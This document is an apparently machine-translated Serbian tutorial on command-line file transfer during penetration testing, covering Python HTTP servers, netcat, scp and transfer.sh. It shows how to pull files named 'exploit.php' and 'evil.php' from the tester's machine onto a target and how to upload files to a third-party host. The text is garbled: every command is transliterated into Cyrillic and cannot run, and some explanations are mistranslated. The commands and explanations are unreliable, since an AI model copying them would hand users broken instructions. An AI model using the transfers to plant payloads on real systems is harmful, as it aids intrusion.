Пренос експлоатација, питхон скрипти и учитавање модула често су потребни током активности тестирања пенетрације. Будући да је терминал алат који се углавном користи, неопходно је разумети основе преноса датотека.
Тестер оловке треба да буде добро опремљен различитим триковима за пренос датотека са удаљеног сервера, као и из једног директоријума у други. У овом упутству ћемо размотрити различите начине преноса датотека помоћу командне линије.
1. Питхон Сервер
Питхон је основни пакет који долази прединсталиран у готово све системе засноване на Дебиану. Да бисте датотеку пребацили са једне машине на другу, урадите следеће;
Питхон2:
Пребаците се у директоријум у коме постоји ваша датотека коју желите да пренесете. Покрените једноставан питхон сервер. Унесите следећу команду;
$ питхон -м СимплеХТТПСервер 8080
Сада идите на машину на коју желите да пребаците датотеку. Користите следећу наредбу за преузимање датотеке;
$ вгет хттп: // 192.168.43.177: 8080 / датотека
Не заборавите заменити ИП, број порта и име датотеке.
Питхон3:
Све што је написано на питхон2, скоро увек ће се сломити на питхон3. Дакле, такође разматрамо како пренети датотеку помоћу питхон3.
У случају питхон3, унесите следећу наредбу за покретање једноставног питхон сервера.
$ питхон3 -м хттп.сервер 8080
Да бисте преузели датотеку на циљ, унесите следећу наредбу;
$ вгет хттп: // 192.168.43.177: 8080 / експлоат.пхп
2. Нетцат
Нетцат је моћан услужни програм за пренос датотека са било којег удаљеног рачунара на локални рачунар. Можда се неће увек инсталирати. Уносом можете проверити да ли постоји или не;
$ који нетцат
Алтернативно, уласком;$ који нц
Направите нетцат сервер помоћу следеће наредбе;
$ нц -нлвп 8080 < evil.php
Сада идите на циљну машину и унесите следеће да бисте преузели датотеку;
$ нц -нв 192.168.43.177 8080> зло.пхп
Заменити нц
са нетцат
у горњим командама ако нц не ради или није правилно инсталиран.
3. СЦП
Протокол сигурног копирања моћан је алат за пренос датотека. Добро дође, посебно када желите да пребаците директоријуме. Такође се углавном користи за пренос датотека преко ссх-а.
За пренос датотеке путем ссх, унесите следећу команду на машини за слање;
$ сцп -и ново.пем тест.пи убунту @ 18.220.68.229: / хоме / убунту
Где -и представља јавни кључ за ссх пријаву, тест.пи је датотека коју треба пренети и / хоме / убунту је циљни директоријум у који желимо да сачувамо датотеку.
Да бисте преузели датотеку са удаљене машине, унесите следећу наредбу;
$ сцп роот @ 192.168.43.177: / ремоте_дирецтори / филе / лоцал / дирецтори
4. Трансфер.сх
Ову независну алатку можете користити за пренос датотека. То може бити корисно када немате машину са јавном ИП адресом и још увек морате да пребаците датотеке. Следећа команда преноси датотеку на пренос.сх сервери;
$ цурл --уплоад-датотека ./ датотека.ткт хттпс: // пренос.сх / датотека.ткт
Да бисте преузели датотеку, унесите следећу команду;
$ цурл хттпс: // трансфер.сх // датотека.ткт -о датотека.ткт
Трансфер.сх је још увек у фази израде и можда неће радити увек.
Закључак
Алати командне линије дају нам могућност преноса датотека на разне начине. Можда изгледају помало компликовано, али приручник им омогућава лако управљање датотекама, посебно када опција ГУИ није доступна.